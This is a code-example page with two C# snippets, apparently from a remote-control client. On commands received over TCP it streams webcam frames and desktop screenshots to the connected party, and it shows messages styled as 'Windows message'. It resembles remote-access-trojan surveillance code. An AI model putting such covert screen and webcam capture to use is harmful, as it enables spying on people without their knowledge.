Ejemplo n.º 1
0
        void videoSourse_NewFrame(object sender, NewFrameEventArgs eventArgs)
        {
            try
            {
                BinaryWriter writer = new BinaryWriter(networkStream);
                using (MemoryStream memoryStream = new MemoryStream())
                {
                    Image webcamImage = eventArgs.Frame;

                    if (!doubleImage)
                    {
                        webcamImage.Save(memoryStream, ImageFormat.Jpeg);
                    }
                    else
                    {
                        ScreenshotWebcabImage(ShareScreen.CaptureDesktopWithCursor(), webcamImage).Save(memoryStream, ImageFormat.Jpeg);
                    }

                    byte[] buffer = new byte[memoryStream.Length];

                    memoryStream.Seek(0, SeekOrigin.Begin);

                    memoryStream.Read(buffer, 0, buffer.Length);

                    writer.Write(buffer.Length);

                    writer.Write(buffer);

                    writer = null;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                StopCapturing();
            }
        }
Ejemplo n.º 2
0
        public void Process()
        {
            while (tcpClient.Connected)
            {
                try
                {
                    int      bytes   = 0;
                    string   message = "";
                    string   command = "";
                    string[] receivedMessage;
                    byte[]   data = new byte[256];

                    StringBuilder builder = new StringBuilder();

                    networkStream = tcpClient.GetStream();

                    do
                    {
                        bytes = networkStream.Read(data, 0, data.Length);
                        builder.Append(Encoding.Unicode.GetString(data, 0, bytes));
                    }while (networkStream.DataAvailable);

                    receivedMessage = builder.ToString().Split('|');
                    command         = receivedMessage[0];

                    if (receivedMessage.Count() == 2)
                    {
                        message = receivedMessage[1];
                    }
                    switch (command)
                    {
                    case "START_SHARE_SCREEN":
                        if (!isWebcamStarted)
                        {
                            shareScreen       = new ShareScreen(tcpClient.GetStream());
                            shareScreenThread = new Thread(new ThreadStart(shareScreen.SendScreenshot));
                            shareScreenThread.Start();
                            isScreenStarted = true;
                        }
                        else
                        {
                            shareWebcam.StopCapturing();
                            shareWebcamThread.Abort();
                            shareWebcamThread = null;
                            shareWebcam       = null;
                            isWebcamStarted   = false;

                            shareWebcam       = new ShareWebcam(tcpClient.GetStream(), true);
                            shareWebcamThread = new Thread(new ThreadStart(shareWebcam.CapturePhoto));
                            shareWebcamThread.Start();
                            isWebcamStarted = true;
                        }
                        break;

                    case "STOP_SHARE_SCREEN":
                        shareScreenThread.Abort();
                        shareScreenThread = null;
                        shareScreen       = null;
                        isScreenStarted   = false;
                        break;

                    case "START_WEBCAM":
                        //if (!isScreenStarted)
                        //{
                        //    shareWebcam = new ShareWebcam(tcpClient.GetStream(), false);
                        //    shareWebcamThread = new Thread(new ThreadStart(shareWebcam.CapturePhoto));
                        //    shareWebcamThread.Start();
                        //    isWebcamStarted = true;
                        //}
                        //else
                        //{
                        shareScreenThread.Abort();
                        shareScreenThread = null;
                        shareScreen       = null;
                        isScreenStarted   = false;

                        shareWebcam       = new ShareWebcam(tcpClient.GetStream(), true);
                        shareWebcamThread = new Thread(new ThreadStart(shareWebcam.CapturePhoto));
                        shareWebcamThread.Start();
                        isWebcamStarted = true;
                        //}
                        break;

                    case "STOP_WEBCAM":
                        shareWebcam.StopCapturing();
                        shareWebcamThread.Abort();
                        shareWebcamThread = null;
                        shareWebcam       = null;
                        isWebcamStarted   = false;
                        break;

                    case "MESSAGEBOX":
                        MessageBox.Show(message, "Windows message", MessageBoxButton.OK, MessageBoxImage.Asterisk);
                        break;
                    }

                    if (command != "")
                    {
                        Console.WriteLine(command);
                    }
                    else
                    {
                        throw new Exception();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Connection interrupted! " + ex.Message);
                    Disconnect();
                }
            }
        }